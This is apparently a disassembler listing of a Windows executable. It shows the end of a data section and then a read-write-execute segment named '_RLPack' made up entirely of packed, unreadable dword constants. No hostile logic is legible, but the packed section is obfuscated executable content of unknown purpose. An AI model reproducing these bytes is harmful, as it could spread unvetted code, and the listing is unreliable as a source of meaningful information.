		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4BB6A0	db 0			; DATA XREF: sub_415CA0+5Co
					; sub_415CA0+AFo ...
byte_4BB6A1	db 0			; DATA XREF: sub_41090E+5Dr
					; sub_415CA0+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4BB7A4	dd 0			; DATA XREF: sub_415CA0+6Ew
					; sub_415CA0+12Bw ...
		dd 6 dup(0)
dword_4BB7C0	dd 350650h		; DATA XREF: sub_40FD42+5Cr
					; sub_410C9B+B1r ...
dword_4BB7C4	dd 3Fh dup(0)		; DATA XREF: sub_4153B5+92o
dword_4BB8C0	dd 20h			; DATA XREF: sub_414EFB+8r
					; sub_4151BF+Cr ...
dword_4BB8C4	dd 0			; DATA XREF: sub_4117A7+3Cw
					; sub_411E4C+5r ...
dword_4BB8C8	dd 0			; DATA XREF: sub_41181A+23Ar
					; sub_41181A+25Ar ...
dword_4BB8CC	dd 0			; DATA XREF: sub_4117A7+31w
					; sub_41181A+311w ...
dword_4BB8D0	dd 0			; DATA XREF: sub_4117A7+21w
					; sub_41181A+22Dr ...
dword_4BB8D4	dd 0			; DATA XREF: sub_4117A7+28w
					; sub_4117EFr ...
dword_4BB8D8	dd 0			; DATA XREF: sub_4117A7+15w
					; sub_4117EF+8r ...
dword_4BB8DC	dd 0			; DATA XREF: sub_40E8C0+Fr
					; sub_4117A7+36w ...
dword_4BB8E0	dd 350000h		; DATA XREF: sub_40E8C0+66r
					; sub_40ECAF+5Ar ...
dword_4BB8E4	dd 1			; DATA XREF: sub_40E8C0r sub_40ECAF+Cr ...
dword_4BB8E8	dd 142340h		; DATA XREF: sub_410B5C+7Aw
					; sub_41628E+Fr ...
dword_4BB8EC	dd 1			; DATA XREF: sub_4162E6+ADw
					; sub_418DD0r
dword_4BB8F0	dd 1			; DATA XREF: sub_416064r
					; sub_416064+11w ...
dword_4BB8F4	dd 35075Ch		; DATA XREF: sub_40F7C3+13r
					; sub_40F7C3:loc_40F805r ...
dword_4BB8F8	dd 350758h		; DATA XREF: sub_40F7C3+1r
					; sub_40F7C3+Cr ...
		dd 1C1h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0)
_packed		ends

; Section 2. (virtual address 000BE000)
; Virtual size			: 00010BE6 (  68582.)
; Section size in file		: 00010BE6 (  68582.)
; Offset to raw	data for section: 000BE000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 4BE000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0EC8B1C55h, 5A08E81h, 5653001Ch, 6ADB3357h, 458D100Fh
		dd 0E85043F0h, 80D8831Ah, 0DC0CC483h, 0C766CC1Ah, 50E00222h
		dd 5415FF07h, 89074273h, 0A166F4C1h, 0A141FBFCh, 53101410h
		dd 2E4016Ah, 0F22C6666h, 8B94441Eh, 0FA83F83Ch,	87797436h
		dd 57503190h, 172BC28h,	248EF883h, 40CBE67h, 85198DC3h
		dd 5640FA60h, 0D2C1A43h, 0FCA4B85Dh, 35948493h,	8C1D4F0Ch
		dd 3FEB0875h, 50593A03h, 64C6FC68h, 1EFE572Eh, 6E0190CDh
		dd 40D78D08h, 14A41CABh, 0D7349D86h, 0F245030h,	0B0644D08h
		dd 320475CFh, 24EBC006h, 0C269F468h, 41A06028h,	0FC871BEh
		dd 1B080ACh, 0C95B5E5Fh, 10F9C353h, 0BEC30354h,	0E906C774h
		dd 8AB9F47Dh, 0C5A5E01Eh, 36CBE02h, 0FCACBD10h,	667F7C7Eh
		dd 16C03332h, 0ABF323B2h, 0F4A021E7h, 6A84814Eh, 0DC858845h
		dd 1A59FB94h, 3DC6DD3Ch, 6814D4AAh, 50878FFDh, 3FD1356Ah
		dd 9E572933h, 1B848A22h, 0FCACB388h, 585E918Ah,	0A7F42520h
		dd 758B8510h, 0F240Ch, 468910EAh, 0F064B814h, 1E8357D1h
		dd 47EE156h, 32100690h,	98B4941Ch, 49BB05E8h, 743A4DC3h
		dd 759B3B3Bh, 5692C00Ah, 97418B8h, 483B26DDh, 0EB580A92h
		dd 0E3239802h, 1572E2C8h, 0A1F3A1DDh, 21D948E2h, 645965E4h
		dd 0DE229E3h, 15E70FD7h, 8EE4F633h, 0EBE23456h,	0A456D944h
		dd 4F32EF10h, 0C0FA7220h, 680D7404h, 0B08A07D0h, 0BDE0EB15h
		dd 0B80CB941h, 200836B8h, 0DC266F2Eh, 0C2C87180h, 5920A792h
		dd 9BFC7589h, 99350E7Bh, 7D421E3Ah, 0B9F87C41h,	2235CCD0h
		dd 0D95FC104h, 0FB3D8B40h, 28BC1749h, 7509E85h,	28C4E9BEh
		dd 0A7C3EB04h, 0F8F21030h, 406809DFh, 2873A8C0h, 28208BA2h
		dd 906A26E0h, 54BBC1EDh, 573499C5h, 5312CF28h, 88062293h
		dd 0D7B78D24h, 0C68B26EBh, 599900CFh, 0FA83F9F7h, 41740C12h
		dd 4EFCA80Ah, 4F2446C5h, 0B9529350h, 35849A85h,	744E6828h
		dd 0EB303E0Fh, 0CCBD26B2h, 12F1E1A9h, 21C81291h, 14FF4803h
		dd 75C11207h, 31046A09h, 24C616C7h, 19F013CBh, 95A31C0Fh
		dd 0FF0C1949h, 606801EFh, 3E94DA25h, 0D0A4D2C1h, 0F35885BCh
		dd 13DC31CAh, 56C4A8E8h, 0F3688791h, 0BEF04059h, 6A71C170h
		dd 0A09C683Ch, 2FA1A44Fh, 0C75A5CEFh, 68DB3C50h, 41175EE3h
		dd 303280FFh, 0D1C22B99h, 600155F8h, 3E600C91h,	0F040708Bh
		dd 30440A8Dh, 0B20A89F4h, 0F5160820h, 0BD85780Ch, 6F7C2143h
		dd 5BACC850h, 16B032D4h, 85C80CF5h, 841143BDh, 770B9DF1h
		dd 0E160801h, 821268A9h, 76A21010h, 0C76A562Ch,	1BAB7629h
		dd 563F3926h, 0C4497EBBh, 18446151h, 0C3EC3889h, 4F5B995Bh
		dd 81E11188h, 3FBAA8BDh, 610401AEh, 0A443850Fh,	0CC0B4D13h
		dd 0FAF6A850h, 59F9044Eh, 0F30A1C7h, 0A1021184h, 16040C17h
		dd 0C7943188h, 53DE0C41h, 80231110h, 0D230DD8Ch, 0DB332914h
		dd 2E531B16h, 36AB712h,	13AC2287h, 4CF29AC0h, 0A758E374h
		dd 0FCB20292h, 63980F75h, 594DDC01h, 37071AA1h,	1CB421Fh
		dd 59187311h, 0A655C3F2h, 3E62FB6Ah, 0BC28BD4Ch, 592F0345h
		dd 0A5F3FC8Bh, 94023D04h, 22C9C481h, 0F724E831h, 0E1054C75h
		dd 61EBFC01h, 4286A0BEh, 0A4656B7h, 12F88B3Ch, 6345753h
		dd 8C17A594h, 0BB68CB33h, 57620F27h, 1C09486Ah,	0ADA4D829h
		dd 7F804070h, 64750C02h, 19EC3E16h, 699F488h, 146C31F8h
		dd 1C94EF1Fh, 0AFDC1A41h, 59082729h, 8A68371Ch,	7605A722h
		dd 5A5716B1h, 88CD471Ch, 0D4914F48h, 0F0BC400Fh, 46492696h
		dd 0A100AC22h, 0D849BD54h, 59DCA112h, 6943696Ch, 0B5FF04F4h
		dd 0E3369389h, 0DE590D4Ah, 0A17C28B9h, 152553E0h, 2145CD25h
		dd 0FC41192Eh, 93FB1B5Ch, 0A343618h, 50C8BFD8h,	50889656h
		dd 57090375h, 1C533AEBh, 0C338940Bh, 0B050E974h, 8582EEB4h
		dd 62D210A9h, 922D5956h, 571A4A53h, 0E5DF5325h,	56F56211h
		dd 5AAC4559h, 114FEB0Ah, 0A3C8C77Ah, 87A7229Eh,	100234A1h
		dd 842E159Fh, 591513F2h, 0E86B15EAh, 2398FF38h,	453EE149h
		dd 5CFA6306h, 0C18B03B3h, 58046083h, 7B7AFDE2h,	245C1353h
		dd 9E971D0Ch, 0E9DD64F1h, 14AB8E08h, 9370BF1Ch,	0FAA020E3h
		dd 0BB207B24h, 0EE0A412h, 3E6B045Eh, 0C287A90Ch, 0E49A0870h
		dd 8F3721F7h, 2556D980h, 87C1144Dh, 91D2083Ch, 0F600F042h
		dd 2FB2E74h, 0E1041A56h, 16C1A50Ch, 14631243h, 2EC60367h
		dd 58AF1010h, 0A8C57B89h, 38865F33h, 0C25D1AA8h, 890F6810h
		dd 0B1400669h, 0F7AC5007h, 0A766832Ah, 5E512670h, 0A635A0A8h
		dd 3D25467Eh, 7D2382FFh, 80F2421Eh, 9D0F7F2Eh, 3D4B77C3h
		dd 7176FEE3h, 0A750F203h, 0A29325BFh, 5C2C586Ch, 2AC8A550h
		dd 58FBE6FAh, 8A301201h, 0FF078828h, 8D3E7675h,	360FF647h
		dd 8CC61AEBh, 1AC1A982h, 208808F8h, 2CA1B0Eh, 5C03901Ch
		dd 8616A606h, 0FB01508Ah, 59FCA259h, 47DE26D5h,	41901A51h
		dd 0B4F84D8Dh, 7ED74461h, 0C4424F62h, 0D30736EEh, 8281129h
		dd 0FC29E941h, 3C519540h, 94291554h, 84D0FAB4h,	848A243Fh
		dd 186F60F1h, 888CE8Bh,	9353D928h, 51E4B940h, 8111496h
		dd 0A85AC97Ah, 58287C55h, 78287F8Ah, 89F8E139h,	717DB606h
		dd 0A864D566h, 0C5472F41h, 0D9D0EC89h, 100C1B4Eh, 485E4709h
		dd 1A415CC2h, 22B41E0Dh, 3461645Bh, 284793C3h, 0E3D5C368h
		dd 3241CBC2h, 0C3146B1Dh, 600C8A69h, 557F98C6h,	0A8EC2B07h
		dd 905BA45Eh, 815878B3h, 0B8382453h, 0BF8F49A0h, 7643CFDh
		dd 0F107D39h, 2DB033A4h, 185D018Bh, 3B08438Dh, 2587F8C7h
		dd 4A561DCCh, 10C886D0h, 77B0E4E0h, 0FD3C03FFh,	0C00A8CFFh
		dd 32C86510h, 501AD808h, 0C7A422CDh, 0D50F3F8Ah, 0ACEA03EFh
		dd 8105A0Fh, 818CCD08h,	0CC2BE9Ah, 0F7F0853Ah, 6A56A2C2h
		dd 6D93D942h, 6808F8EAh, 36739868h, 4A21539Ah, 0B80C27BDh
		dd 21B0B5FAh, 52E4452Bh, 0A6773950h, 12E0435Ah,	28512C68h
		dd 7B0985ADh, 522A0826h, 6A142A56h, 5BA46244h, 68B04011h
		dd 7FB60410h, 45990763h, 0D69B2E1Dh, 0C4073ACh,	0E453090Eh
		dd 44282B16h, 68B14310h, 0FE6B5724h, 31FE1826h,	0DB0F881h
		dd 0FDD51E88h, 17B46426h, 0C7F62997h, 7D2B201Dh, 0E8317186h
		dd 0FDB48057h, 32B50A57h, 10EC2948h, 0EF1C64C0h, 191AB432h
		dd 642698BFh, 2C022651h, 8E53D061h, 402868CFh, 0CC89996h
		dd 102656E0h, 0D00ED454h, 29C4438Eh, 0C7BD42C0h, 0AE3AE02Ah
		dd 0C011CA80h, 2241D9D5h, 68D7B719h, 2B5CEA08h,	0A1928DCh
		dd 2068026Ah, 360FA1F3h, 0CC6CCA2Eh, 0A6C80C17h, 0C81CF76Bh
		dd 19F04D8Eh, 506CF8C8h, 0C27D9DCh, 0EE2E4DD8h,	5B86E566h
		dd 1C68281Ah, 8C2B12B3h, 0B1F44AB7h, 2BF09460h,	0F091E3DEh
		dd 0B16F1888h, 9156FCCAh, 31F8F2F8h, 0B8E70E0Ch, 0EE39B864h
		dd 7267F11Ch, 2C8CE774h, 0BC0D895Eh, 41448EAh, 91110EEBh
		dd 0CE5F8B10h, 210218Dh, 1B164B3Dh, 0B8953616h,	0FDF05304h
		dd 0FC658303h, 0F4201786h, 136A63FEh, 89E80146h, 1BDDF8B5h
		dd 6E13BD94h, 48FDC818h, 68C7192Ah, 8520380Ah, 9313A1CCh
		dd 11759105h, 50503622h, 8A0113C6h, 4C08230h, 10599958h
		dd 49654911h, 0CC654A62h, 1540A18Ah, 4C38E715h,	8DD2FC8Ch
		dd 0E1040BC9h, 0E52D0801h, 867452DFh, 34D0540Bh, 0D31A913Dh
		dd 0F7C1501Fh, 40C01BD8h, 0B404C45Ch, 47736F30h, 91415FB9h
		dd 2CFC5D89h, 775B05Eh
		dd 8872BC32h, 3325020Fh, 682FC065h, 41C82A40h, 14A2B40Dh
		dd 310CDC08h, 50217068h, 7E89660Ah, 73AC142Fh, 0DB3B5E0Dh
		dd 5339218Ah, 3064025h,	0FC5F68DFh, 0C3D88213h,	55EEB05Dh
		dd 0B8D5F385h, 13134361h, 8BC1A40Dh, 0EA508448h, 38EBDB32h
		dd 8D55BF3Bh, 0FC85CB10h, 0E2F6B4FEh, 0A349690Dh, 1C2A5856h
		dd 0AFD67480h, 102E3021h, 564B01B3h, 0C38AC831h, 832B732Ah
		dd 524E2093h, 0A07C1E0Ah, 2DBCFCA1h, 48B127A1h,	5C811EB6h
		dd 20247645h, 0C940482Ch, 800638C8h, 82E07D12h,	322D3465h
		dd 2D0E4188h, 1264CB3Dh, 0DD200795h, 0B403E0C1h, 6DDF0EB2h
		dd 200DDC61h, 7CBA73A2h, 9188451h, 0DD4E8C15h, 8B183555h
		dd 8F241CC9h, 0C762DE3Bh, 901E59C0h, 78502945h,	0AA9C27B8h
		dd 0D8C236h, 458A2CA5h,	0AC299713h, 65C889A7h, 88820F89h
		dd 155521F6h, 5B5230DAh, 8FB086AAh, 391D590Fh, 730AD445h
		dd 7326F10Ah, 505515C2h, 8258DECCh, 111860Fh, 0BF83CF52h
		dd 72031E07h, 0EB436A04h, 2151012h, 8F47475h, 3E90189h
		dd 0D8888FB3h, 99DC5828h, 960804EDh, 0ABDF5830h, 911994A2h
		dd 0B881EA3Bh, 2B1876E4h, 0CBDDB21Ch, 7D8DD140h, 1FE9C1F0h
		dd 0C3A5F302h, 3E183CAh, 9885A4BAh, 3737878Ah, 0F9C03055h
		dd 0E1398002h, 3E28F3Fh, 24ECEC88h, 41EC8F1h, 5D010F03h
		dd 0C9E2CB0Ch, 4099CA02h, 2ED2EF1h, 460606F2h, 91290F28h
		dd 33033AC3h, 23820F6h,	0B4EE32C8h, 16DF8679h, 1F76EF05h
		dd 0B7014501h, 0EC3544BEh, 808ACA51h, 823C64CEh, 138720A3h
		dd 0B83B46D7h, 0A37272ECh, 0B248EBB6h, 5CF26A18h, 94EED17h
		dd 52EDD30Dh, 5EE106F1h, 731B4C39h, 0DB0A2B12h,	0E70563Dh
		dd 0F44E7667h, 87DDB4F1h, 9072F558h, 51904DF1h,	714D4755h
		dd 230688CEh, 35FF054Bh, 0D7B4A228h, 5724C4C8h,	87144450h
		dd 80E01381h, 9353B024h, 0BDA964Fh, 6E44F4D7h, 0D89641Ch
		dd 0A2480335h, 24107144h, 2D97689Fh, 48FE8444h,	92DB3393h
		dd 0C810D695h, 27900F24h, 7A1C4531h, 7C61C6ECh,	9A748D03h
		dd 0AFB9F336h, 0FB3B3A02h, 4461D366h, 38B8E83Ch, 0CB3BFF83h
		dd 0C8E00275h, 181B5D39h, 0A8680374h, 4D685051h, 0B2698FD8h
		dd 141A0E7Bh, 85A165C9h, 974C63Bh, 0D584023Bh, 0AC246457h
		dd 99E4EE22h, 40E383ADh, 0A5140EFEh, 105F13BBh,	0CCF4BBF5h
		dd 44020D5h, 0E0A50E80h, 2336FFFBh, 0BDBCB9DCh,	23E18C15h
		dd 8B8F4B68h, 682140FBh, 89CA7428h, 5E52869Eh, 38217EC6h
		dd 0FC6F08CBh, 430421B8h, 977B9005h, 46C947A4h,	1E705164h
		dd 212D2CF8h, 590A1350h, 2030A403h, 3097FCB1h, 7CCA13BAh
		dd 56F45C89h, 0FEB50F39h, 0E318856Fh, 7C42447h,	83D88B86h
		dd 840F1584h, 7D82A6CFh, 37F9ABE6h, 78A5D5BBh, 0BCE42247h
		dd 68E6E441h, 0BC9192E8h, 0B6531012h, 0E6814586h, 50400756h
		dd 288A4075h, 0A00FC385h, 2CF48BC1h, 38F16589h,	8BB6114Ch
		dd 0D377149Dh, 163CC817h, 976875E3h, 5321F806h,	1C004711h
		dd 999535EBh, 98A8B50h,	501D0E75h, 0EB25070Fh, 8A6A6518h
		dd 521A1275h, 0F1F2AC6h, 9A2FF0B6h, 0B40E043h, 3E82F68h
		dd 45B147BBh, 0CCDD31F4h, 8C260F02h, 3BA5A6FAh,	3E485E69h
		dd 0D78F4841h, 0B101BD0Ah, 92A1096Fh, 5E43F2C2h, 2B0F4708h
		dd 0C33B7046h, 36C00577h, 857A8901h, 33760ADBh,	4DDFB8Bh
		dd 0D5087E03h, 701D8DDFh, 64B22024h, 2F55244Ch,	3750650h
		dd 6DF3965Ah, 89A01319h, 2480500Eh, 5DDD1738h, 850C591Ch
		dd 372E31E4h, 0E8FB8C1Eh, 0D20314ACh, 4250E69Ch, 5A078857h
		dd 5D9EB4F3h, 0F95A81E5h, 73DD4339h, 69885543h,	0B10B1422h
		dd 2BF06802h, 4A61B1C2h, 0A60A6173h, 1E96280Ah,	0F1E7A167h
		dd 4188CFF5h, 5E4B5916h, 11F4166Dh, 2079EB0Ch, 3DB87624h
		dd 0E475F039h, 12E00478h, 804EB105h, 0FEFF7880h, 1E902973h
		dd 5644ED3h, 7C891B2Ch,	764BFE47h, 0D24F6E08h, 0E67696D4h
		dd 0FF4017FEh, 0A5584EBh, 51C3CFDEh, 442E4E28h,	326568Eh
		dd 770A53C1h, 47C4CD04h, 3090E837h, 5D3FC722h, 0E349CEC2h
		dd 20210A7Ch, 0FDFF8302h, 0F81D4C76h, 3304044Eh, 80CA3BD2h
		dd 0FF418A68h, 9DC23A3Bh, 0BFBD3C19h, 75FA8015h, 52C8FE4Ch
		dd 3424D288h, 83961751h, 2B794589h, 2454380Bh, 84D20810h
		dd 65E7303Fh, 1E5689EAh, 0D5118808h, 172415E3h,	0C0C133Dh
		dd 3BFA1FB8h, 1873C71Ah, 0EB381842h, 7E390205h,	5708730Ch
		dd 0B25F986Ch, 28539255h, 45F8380h, 22746444h, 0BAF07295h
		dd 488D0A1Bh, 22DD8AFFh, 0FD0A66D1h, 8863F406h,	125107C2h
		dd 0A36FE465h, 86874CEh, 82FBD09h, 10C6C17Eh, 0C9F148C3h
		dd 4B527FB7h, 76E210C6h, 3810C595h, 0A54E3DAh, 440C4432h
		dd 0D47742BFh, 6F178445h, 68082682h, 4C2B1432h,	732E2DC6h
		dd 4ED813D5h, 4FC7322Ah, 3A5FF04h, 775087CEh, 63854A19h
		dd 6C628B80h, 44F32BA7h, 765656CAh, 0A9610A24h,	9806915Eh
		dd 9450B8CFh, 110C596Bh, 70897D8Bh, 6D1A1FCFh, 70F0B661h
		dd 7628EC32h, 3B81303h,	2478D14h, 9B57BF8h, 0E779100Eh
		dd 2595CB5h, 25EB0809h,	0AC893C2h, 1BA7C083h, 0B85935B0h
		dd 40273810h, 808BC31Bh, 0B5E87C26h, 17763EB1h,	8ED26621h
		dd 67508DAFh, 0E540F812h, 5E8B84F4h, 647C8B08h,	68A84039h
		dd 0FF60800Eh, 0C188513h, 0FB627787h, 66B81D92h, 0B5821DAEh
		dd 9E986AECh, 0F95159ACh, 0C7C8E2E9h, 46488A22h, 961B888Ch
		dd 56B67217h, 7C9364EEh, 7630612Ch, 1C05F6C3h, 14BA56Ch
		dd 80077501h, 0C009550Dh, 68B41716h, 0B9AAC055h, 0C358E745h
		dd 44C1731Bh, 769837F6h, 391DB04Ah, 11E5B593h, 1EC7196Bh
		dd 0DC5612B4h, 57E55AC0h, 717C740Bh, 85390C0h, 6F41A1B8h
		dd 9648BFC8h, 23BC350Dh, 5755336Bh, 1FD64125h, 0DDC08BFCh
		dd 6A79C273h, 0F1C3DCC2h, 0DF6B6953h, 88BF922Dh, 2273640Eh
		dd 8997C03Bh, 8AA8E520h, 0B4D85610h, 0CDDA653Ch, 420128DDh
		dd 0FA4597D9h, 0DA7C066Ah, 0FE8320F0h, 56213446h, 0E1037563h
		dd 0DE8619EBh, 78121368h, 0B296ACEAh, 0DE8BD23Fh, 7A0A758Ah
		dd 42949248h, 6B68830Ah, 8B4E4E21h, 0C117807Eh,	0C9C0C481h
		dd 0DDD38525h, 99BC09D2h, 0A4201455h, 7EFF1E85h, 56449627h
		dd 0C6C20A5Fh, 975626C6h, 96A78D18h, 58C80B81h,	1B03EA2Bh
		dd 0F3D9EBF0h, 393A50BDh, 33746ED8h, 0C7693DA6h, 504C8676h
		dd 84186889h, 0CDD36941h, 0C8D1099h, 0F73B7E82h, 3D93D97Ch
		dd 24F98F26h, 20024C62h, 0DE64A166h, 82B5479Eh,	5EFE2171h
		dd 0CABDF4F6h, 4114AFDh, 0E234EB50h, 0A356D433h, 755213B8h
		dd 20548AB4h, 4739FBB6h, 2D0C75A1h, 9E4692C2h, 173C4E1Ch
		dd 880C6AC8h, 6B41196Ah, 0F9081EAh, 0EA38DE84h,	0D443C293h
		dd 0D8F0FE70h, 68C809C1h, 0F638DE54h, 4A71D8DCh, 0C6083B10h
		dd 0BDB9850Fh, 3D87D8Bh, 0E00CF40Ch, 0A9200864h, 0A4B24C50h
		dd 0F10D9239h, 21625A56h, 0D5FE947Ch, 65882D46h, 46ADC61h
		dd 4E222E5Ah, 0BF2E8B66h, 10FF670Ch, 23D0A0C8h,	15DCBECFh
		dd 10EAC101h, 1CBBCA0Bh, 239EE2BBh, 0E90E71C6h,	0E114B908h
		dd 0DC4D8922h, 291C8D42h, 61214DD3h, 0E43004E4h, 138F186Ah
		dd 609AC9EDh, 8A1DF805h, 0D19DE545h, 2EE46549h,	32229B37h
		dd 0E618E71Ch, 0ED88902Eh, 8474EC11h, 8BEEEF40h, 4F122A4h
		dd 8B025DF0h, 91C723C1h
		dd 84A1C293h, 72CE1E93h, 9399E80Eh, 0F83A97C2h,	0BB65C156h
		dd 0C6E9AE84h, 7E05E148h, 2D56570Bh, 37796084h,	569711B5h
		dd 40A132Fh, 18FDB44Dh,	4968D812h, 0E0757334h, 4792B102h
		dd 621B0A6Ah, 0D2B8B5h,	0CED4682Ch, 74E2C626h, 21A92CCh
		dd 6C4E6A28h, 34ACC9D4h, 534DD796h, 9B2C93D8h, 53092CEBh
		dd 79F4522Dh, 820A6C58h, 97CB1EE2h, 0A9B9441Ah,	8DA40085h
		dd 0CBF924BDh, 36015BACh, 6EA09889h, 94855643h,	331E31F5h
		dd 250168CEh, 73777947h, 0BD76E876h, 0C8EE9095h, 0A82283FBh
		dd 38FECC98h, 534C5719h, 68A32EAFh, 4AD1BA69h, 6D7AC48h
		dd 78A59F68h, 9129B156h, 2E669C32h, 7E099EE8h, 0A6800466h
		dd 0F521A0D7h, 24358BD2h, 5001C82Bh, 76CC7D89h,	0CA5F54F9h
		dd 0DB35C9Ah, 24AA411h,	0C38B070Dh, 2722C068h, 290A6A32h
		dd 9D8922A8h, 1D8B8B90h, 0B50CC850h, 0CC8FDC45h, 8D8F6AFCh
		dd 593B1774h, 0CB41A3D3h, 8528897Ch, 8C84BD0Ah,	9246FC50h
		dd 215A9DB3h, 4C35Eh, 0C2FC7D39h, 0C77C08EEh, 646E9C50h
		dd 0EC777A54h, 540F819Fh, 89F16FAh, 0E94F4963h,	32CD7357h
		dd 3B217180h, 0E3E7F47Dh, 0C8CD8482h, 10230B6Bh, 0C82242C6h
		dd 0F548E7FDh, 446DACACh, 0C9293344h, 76829E39h, 92958D1Eh
		dd 8B42C0B1h, 39080055h, 410F7402h, 412C283h, 5B368D3Bh
		dd 0EA722922h, 1675040Bh, 406E8C83h, 890D7305h,	301F8D84h
		dd 28108514h, 7E4AC73Bh, 5650B1C7h, 2568156Ah, 0EE52E0B0h
		dd 851AD348h, 0C0645612h, 0DDF2B917h, 7F053653h, 18958B52h
		dd 0D63BF233h, 403A7634h, 38394505h, 40E0C386h,	7206CAC0h
		dd 4A26EBF4h, 1B73140Eh, 8B805F8Dh, 89410450h, 6C321052h
		dd 7A723743h, 4D8BA6ECh, 67914057h, 0FDCC8C65h,	771E5635h
		dd 681774A4h, 2F29E0A8h, 53681808h, 0EB1211A0h,	0C23A5380h
		dd 0AE810D9Fh, 16886816h, 0FD212989h, 0B5809025h, 2440CCBDh
		dd 8F687114h, 0CCAD6090h, 908F5068h, 0B010AC48h, 90248D4Eh
		dd 231EAC30h, 8E41068h,	0EBAC2478h, 3B8F57B0h, 0F0681382h
		dd 0EC6217DFh, 0D81117DFh, 24B4D0F2h, 1AE2374Ch, 4827A4BEh
		dd 84FEDCC3h, 0BEA6504Ah, 294E663Dh, 0A9101499h, 9D32D61h
		dd 9DBB0C4Ch, 9C1CE122h, 6A2A018Fh, 1884BE05h, 28FF423Ch
		dd 0EEF75066h, 4F74A425h, 0AFEB0F05h, 367C4132h, 0DD91F9B8h
		dd 0FD30123Dh, 4608ED32h, 0E04532F4h, 0F024EC09h, 494E449h
		dd 0C8DF5421h, 9A45A028h, 3EF853CBh, 80D0F43h, 3641326Ah
		dd 10348A5Ah, 624ED048h, 984C68F8h, 7210DE47h, 8829A56Ah
		dd 1C1AC4EAh, 0F87D3E9Bh, 40682BB8h, 0A86DA433h, 681D1163h
		dd 0BE18F220h, 928345D4h, 9F082850h, 1BDC24DEh,	8F40EFD3h
		dd 2E2C2221h, 112AE59h,	0C5B370Ah, 0D317AB1Bh, 1750087Dh
		dd 25C8D468h, 0F724A431h, 58DEB011h, 12A45673h,	0BC24B5E4h
		dd 3C6523FBh, 0EA1C071Ah, 0F6ACEC4Bh, 0E02D85F7h, 0C22CEBB8h
		dd 8C6820A2h, 9E1F4A2Fh, 0D0D884E7h, 42CB0B75h,	7207081Bh
		dd 0C2953E4Bh, 3B470C80h, 0F1AB2E6h, 22D14A8Eh,	0D3301DE4h
		dd 0BF0B2D7Dh, 4FF6D46h, 0B95CBBF6h, 6AA73397h,	0B5A0B884h
		dd 52A3694Eh, 0A2F77784h, 5B14B02Ah, 3D78290Ch,	8C314F99h
		dd 284435FFh, 16CA91F2h, 59C0C411h, 3312940Ch, 82A0947Eh
		dd 4BC99BFh, 5756130Ah,	6827D4E3h, 0BB338224h, 5C780822h
		dd 96152135h, 0EF2D71C8h, 98073F46h, 7432F73Bh,	579B856Ah
		dd 50EE5FE4h, 7DED069Ah, 0A80EA642h, 0B46F6F3h,	4A75100Ch
		dd 7D35FDF1h, 572408F8h, 2656C60Bh, 0E3970842h,	5AEC14D1h
		dd 7520802Fh, 72C73B1Bh, 1D50D07Eh, 0C8B2C590h,	81B0EB22h
		dd 5904EC59h, 0B892C94Bh, 4412B5DEh, 0C39111ECh, 442A8470h
		dd 3324AEE2h, 3961EDDBh, 0BC53F81Dh, 72BF8A59h,	25747AA8h
		dd 0DDC4BE56h, 303062Dh, 70DA4635h, 9F5B1E3h, 8456E234h
		dd 8A11085Ah, 0F3214A21h, 0C6836082h, 0C7A8AE38h, 7507F87Eh
		dd 99535EA2h, 0CE1E2033h, 970E146Ah, 0A95400E5h, 46DA06E2h
		dd 30165A47h, 229CC7B2h, 0D4236A50h, 5A501E4Dh,	14459100h
		dd 53C534FFh, 0A02DF018h, 6B5C0888h, 8EE22B05h,	0EB0C0A37h
		dd 74641613h, 2BE7042Dh, 5B18CB79h, 0E1EFB47Ah,	80526A0Eh
		dd 0D36AF288h, 2948515h, 498393Ah, 2222264Bh, 858FB059h
		dd 8862698h, 57960149h,	0B6F11691h, 8E644D47h, 419FC3FCh
		dd 17B99998h, 0BF3685FCh, 0AC046F1Ch, 43CDF9F7h, 1D894C83h
		dd 1E137128h, 82A5C281h, 0D22C15F0h, 68536119h,	0BE3F8603h
		dd 0F4207020h, 0CCFC5AA4h, 9050F0CBh, 218A1887h, 989D38D6h
		dd 0FDA3EB64h, 402895B2h, 0EB7F6A23h, 757913B0h, 18E10B1Dh
		dd 17302006h, 570D318Bh, 1DB405C7h, 142547A4h, 3741E11Ah
		dd 8141201Ah, 0D8EC2004h, 927D3528h, 8F4B15Ch, 2DCAE304h
		dd 90125314h, 0D10F40E0h, 2062D661h, 284024A3h,	2950FC45h
		dd 3A806853h, 402C558Eh, 8A05ED1Eh, 8BB64580h, 5F1D010Dh
		dd 2434C969h, 0C3123B35h, 3F0C895Eh, 4C7420D2h,	0B8296012h
		dd 6A25049Eh, 7563BE32h, 7C1022EEh, 24705053h, 5AD3B3C8h
		dd 59062829h, 8B27FD93h, 43E02D2h, 0DAEE4C8Dh, 90FE1AF8h
		dd 888F7C5Ah, 0A53E7248h, 73840B50h, 49ECBC69h,	56555060h
		dd 89C82126h, 535D5E51h, 0CEA5BEC6h, 0BBE39329h, 40F80620h
		dd 3196F0FCh, 0F04DC4Ah, 0AAD7659h, 83197125h, 24F813FCh
		dd 0B2FF409h, 0A36EE35Ch, 188D37BCh, 0D157639h,	5B59D116h
		dd 7A0BF81Ah, 7A0BFC81h, 3BF0B4A0h, 554C67Fh, 0E018C10Fh
		dd 4D250308h, 0F809A9F4h, 1CAD0647h, 0CD047C41h, 9F32D149h
		dd 56012084h, 635FB992h, 90EC65Dh, 0FC7D8902h, 42252653h
